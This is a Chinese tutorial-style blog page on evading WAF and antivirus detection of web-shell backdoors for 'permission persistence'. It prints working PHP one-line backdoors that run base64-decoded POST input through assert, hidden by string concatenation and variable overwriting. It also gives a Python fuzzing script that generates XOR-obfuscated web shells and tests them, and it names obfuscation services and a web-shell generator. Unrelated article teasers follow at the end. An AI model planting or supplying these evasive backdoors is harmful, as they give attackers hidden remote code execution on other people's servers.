WAF攻防-权限控制代码免杀异或运算变量覆盖混淆加密传参

embedded/2024/9/23 0:44:53/

知识点

1、脚本后门基础&原理
2、脚本后门查杀绕过机制
3、权限维持-覆盖&传参&加密&异或等

章节点:
WAF绕过主要集中在信息收集,漏洞发现,漏洞利用,权限控制四个阶段。

代码表面层免杀-ASP&PHP&JSP&ASPX等
工具行为层免杀-菜刀&蚁剑&冰蝎&哥斯拉等

一、演示案例-基础-脚本后门控制原理-代码解释

在这里插入图片描述

二、演示案例-原理-脚本后门查杀机制-代码函数&工具指纹

WAF拦截两方面-代码函数&工具指纹

在这里插入图片描述
在这里插入图片描述

三、演示案例-代码-脚本后门免杀变异-覆盖&传参

php 传参带入

在这里插入图片描述

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==

php 变量覆盖

<?php 
$a='b';
$b='assert';
$$a(base64_decode($_POST['x'])); //$$a=$b
?>http://xxxx.com/xx.php?a=ass
POST
x=cGhwaW5mbygpOw==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

四、演示案例-代码-脚本后门免杀变异-异或&加密

php 加密变异(通杀)

http://www.phpjm.net/
https://www.phpjiami.com/phpjiami.html

php 异或运算(其他语言也支持异或)

php7版本后无assert

import requests
import time
import threading,queue
def string():while not q.empty():filename=q.get()url = 'http://127.0.0.1:8081/x/' + filenamedatas = {'x': 'phpinfo();'}result = requests.post(url, data=datas).content.decode('utf-8')if 'XIAODI-PC' in result:print('check->'+filename+'->ok')else:print('check->'+filename+'->no')time.sleep(1)if __name__ == '__main__':q=queue.Queue()for i in range(1, 127):for ii in range(1, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"filename = str(i) + 'xd' + str(ii) + '.php'q.put(filename)with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:f.write(code)f.close()print('Fuzz文件生成成功')for x in range(20):t=threading.Thread(target=string)t.start()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

五、演示案例-拓展-脚本后门脚本类型-JSP&ASPX

Webshell-venom(ASP PHP JSP ASPX )

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


http://www.ppmy.cn/embedded/7006.html

相关文章

微软搭建零售新媒体创意工作室大举抢占数字营销广告市场

“微软新零售创意工作室新平台利用生成式人工智能&#xff0c;在几秒钟内轻松定制横幅广告。零售媒体预计到2026年将成为一个价值1000亿美元的行业。” 零售媒体在过去几年中发展迅速。根据eMarketerOpens在新窗口的数据&#xff0c;预计到2024年&#xff0c;仅美国的零售媒体…

权威Scrum敏捷开发企业级实训/敏捷开发培训课程

课程简介 Scrum是目前运用最为广泛的敏捷开发方法&#xff0c;是一个轻量级的项目管理和产品研发管理框架。 这是一个两天的实训课程&#xff0c;面向研发管理者、项目经理、产品经理、研发团队等&#xff0c;旨在帮助学员全面系统地学习Scrum和敏捷开发, 帮助企业快速启动敏…

centos8 安装 jenkins

磁盘划分 4Core 600GB 16GB内存 服务器 /boot 分区&#xff1a;200MB 用于存放启动相关文件和内核。/&#xff08;根&#xff09;分区&#xff1a;50GB 包含操作系统、核心应用程序和配置文件。这为操作系统和Jenkins本身的核心组件提供了足够的空间。/var 分区&#xff1a;100…

面试高频:HTTPS 通信流程

更多大厂面试内容可见 -> http://11come.cn 面试高频&#xff1a;HTTPS 通信流程 HTTPS 的加密流程 接下来说一下 HTTPS 协议是如何进行通信的&#xff1a; HTTPS 通信使用的 对称加密 非对称加密 两者结合的算法 HTTPS 通信时&#xff0c;会先使用 非对称加密 让通信双…

一文了解HTTPS的加密原理

HTTPS是一种安全的网络通信协议&#xff0c;用于在互联网上提供端到端的加密通信&#xff0c;确保数据在客户端&#xff08;如Web浏览器&#xff09;与服务器之间传输时的机密性、完整性和身份验证。HTTPS的加密原理主要基于SSL/TLS协议&#xff0c;以下详细阐述其工作过程&…

如何在没有备份的情况下恢复iPhone数据

想要找到没有备份的最佳iPhone数据恢复软件吗&#xff1f;本文介绍了一款专业的iPhone数据恢复软件&#xff0c;无需备份即可恢复iPhone数据。 许多iPhone用户可能对上述情况并不陌生。丢失重要的iPhone数据确实是一件令人沮丧的事情。通常&#xff0c;检索iPhone数据的最佳方…

【实测】记一次用windows11家庭中文版部署django+vue项目的踩坑之旅

整个过程下来&#xff0c;给我的感觉就和吃了翔一样难受&#xff0c;窒息的感觉&#xff0c;全程没少骂win11的设计者... 因为要调试一些只有在windows才会出现的测试平台bug&#xff0c;于是我耗重金购入了一台顶配windows笔记本。以下是配置&#xff1a; 配置还蛮高的对吧&am…

JAVA程序设计-对象设计

无论是根据某马还是某谷的适配教程做项目时候,发现了大部分都是重复的crud,大部分只要做好笔记复习即可,但是却往往忘记了编码设计,所以这里开始复习编码设计,对象设计中,长期使用Mp的那一套导致就是Service Mapper,一套梭哈完了,这样很容易忘记基本功夫 POJO&#xff1a; 简单…